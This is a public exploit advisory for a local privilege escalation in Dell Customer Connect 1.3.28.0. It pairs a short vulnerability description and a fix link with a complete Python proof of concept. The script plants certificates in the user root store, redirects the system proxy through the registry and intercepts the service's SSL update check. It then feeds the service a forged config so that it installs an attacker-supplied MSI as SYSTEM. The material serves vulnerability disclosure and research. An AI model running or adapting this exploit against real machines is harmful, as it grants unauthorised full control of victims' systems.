Dell Customer Connect 1.3.28.0 Privilege Escalation

`# Exploit Dell Customer Connect 1.3.28.0 Privilege Escalation  
# Date: 25.04.2017  
# Software Link: http://www.dell.com/  
# Exploit Author: Kacper Szurek  
# Contact: https://twitter.com/KacperSzurek  
# Website: https://security.szurek.pl/  
# Category: local  
  
1. Description  
  
DCCService.exe is running on autostart as System.  
  
This service has auto update functionality.  
  
Basically it periodically checks https://otbs.azurewebsites.net looking for new config file.  
  
Under normal conditions we cannot spoof this connection because itas SSL.  
  
But here WebUtils.sendWebRequest() is executed using Impersonator.RunImpersonated().  
  
RunImpersonated() executes given function in the context of currently logged in user.  
  
In Windows system we can add any certificate to Local user root store.  
  
Then this certificate is considered as trusted so we can perform MITM attack.  
  
It can be done using simple proxy server because by default .NET HttpWebRequest() uses IE proxy settings (which can by set by any user without administrator priveleges).  
  
https://security.szurek.pl/dell-customer-connect-13280-privilege-escalation.html  
  
2. Proof of Concept  
  
https://github.com/kacperszurek/exploits/blob/master/DellCustomerConnect/dell_customer_connect_privilege_escalation.py  
  
from _winreg import *  
from threading import Thread  
import os  
import subprocess  
import hashlib  
import SimpleHTTPServer  
import SocketServer  
import ssl  
import httplib  
import time  
  
msi_file = "exploit.msi"  
cert_file = "otbs.crt"  
signing_file = "code.cer"  
file_port = 5555  
proxy_port = 7777  
  
print "Dell Customer Connect 1.3.28.0 Privilege Escalation"  
print "by Kacper Szurek"  
print "https://security.szurek.pl/"  
print "https://twitter.com/KacperSzurek"  
  
# Simpe SSL proxy based on https://code.google.com/archive/p/proxpy/  
class ProxyHandler(SocketServer.StreamRequestHandler):  
def __init__(self, request, client_address, server):  
SocketServer.StreamRequestHandler.__init__(self, request, client_address, server)  
  
def handle(self):  
global xml  
line = self.rfile.readline()  
for l in self.rfile:  
if l == "\r\n":  
break  
  
if "GET /api/AppConfig" in line:  
conn = httplib.HTTPSConnection(self.host, self.port)  
print "\n[+] Send XML to service"  
self.wfile.write("HTTP/1.1 200 200\r\n\r\n"+xml)  
elif "CONNECT otbs.azurewebsites.net:443" in line:  
socket_ssl = ssl.wrap_socket(self.request, server_side = True, certfile = cert_file, ssl_version = ssl.PROTOCOL_SSLv23, do_handshake_on_connect = False)  
self.request.send("HTTP/1.1 200 Connection Established\r\n\r\n")  
host, port = self.request.getpeername()  
self.host = host  
self.port = port  
while True:  
try:  
socket_ssl.do_handshake()  
break  
except (ssl.SSLError, IOError):  
return  
print "\n[+] SSL Established with otbs.azurewebsites.net"  
self.request = socket_ssl  
self.setup()  
self.handle()  
  
class ThreadedHTTPProxyServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):  
pass  
  
def add_to_store(name, file):  
output = subprocess.Popen('certutil -user -addstore "Root" "{}"'.format(file), stdout=subprocess.PIPE).communicate()[0]  
if "\"{}\" already in store".format(name) in output:  
print "[+] Certificate {} already in store".format(name)  
elif "\"{}\" added to store".format(name) in output:  
print "[+] Add certificate {} to user root store".format(name)  
else:  
print "[-] You need to click OK in order to add cert to user root store"  
os._exit(0)  
  
  
if not os.path.isfile(cert_file):  
print "[-] Missing SSL file"  
os._exit(0)  
  
if not os.path.isfile(signing_file):  
print "[-] Missing code signing file"  
os._exit(0)  
  
add_to_store("otbs.azurewebsites.net", cert_file)  
add_to_store("dell inc", signing_file)  
  
def sha256_checksum(filename, block_size=65536):  
sha256 = hashlib.sha256()  
with open(filename, 'rb') as f:  
for block in iter(lambda: f.read(block_size), b''):  
sha256.update(block)  
return sha256.hexdigest()  
  
def file_server():  
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler  
httpd = SocketServer.TCPServer(("", file_port), Handler)  
httpd.serve_forever()  
  
if not os.path.isfile(msi_file):  
print "[-] Missing msi file"  
os._exit(0)  
  
sha256 = sha256_checksum(msi_file)  
print "[+] MSI hash: {}".format(sha256)  
  
print "[+] Set Proxy Server in registry"  
key = OpenKey(HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Internet Settings', 0, KEY_ALL_ACCESS)  
SetValueEx(key, "ProxyServer", 0, REG_SZ, "127.0.0.1:{}".format(proxy_port))  
SetValueEx(key, "ProxyEnable", 0, REG_DWORD, 1)  
CloseKey(key)  
  
print "[+] Start file server on port {}".format(file_port)  
t1 = Thread(target = file_server)  
t1.daemon = True  
t1.start()  
  
xml = "<UpdateResponse xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"><LatestVersion>9.0.0.6</LatestVersion><UpgradeUrl>http://localhost:{}/{}</UpgradeUrl><UpgradeHash>{}</UpgradeHash><SurveyCheckInterval>1</SurveyCheckInterval></UpdateResponse>".format(file_port, msi_file, sha256)  
  
print "[+] Start proxy server on port {}".format(proxy_port)  
proxy_server = ThreadedHTTPProxyServer(("127.0.0.1", proxy_port), ProxyHandler)  
t2 = Thread(target = proxy_server.serve_forever)  
t2.daemon = True  
t2.start()  
  
log_path = r"C:\Users\All Users\Dell\Dell Customer Connect\Logs\{}_install_log.txt".format(msi_file)  
  
print "[+] Waiting for execution ",  
  
while True:  
if os.path.isfile(log_path):  
print "\n[+] Looks like msi file was executed, exiting"  
os._exit(0)  
time.sleep(3)  
print ".",  
  
  
3. Fix  
  
http://www.dell.com/support/home/us/en/19/Drivers/DriversDetails?driverId=DR53F  
`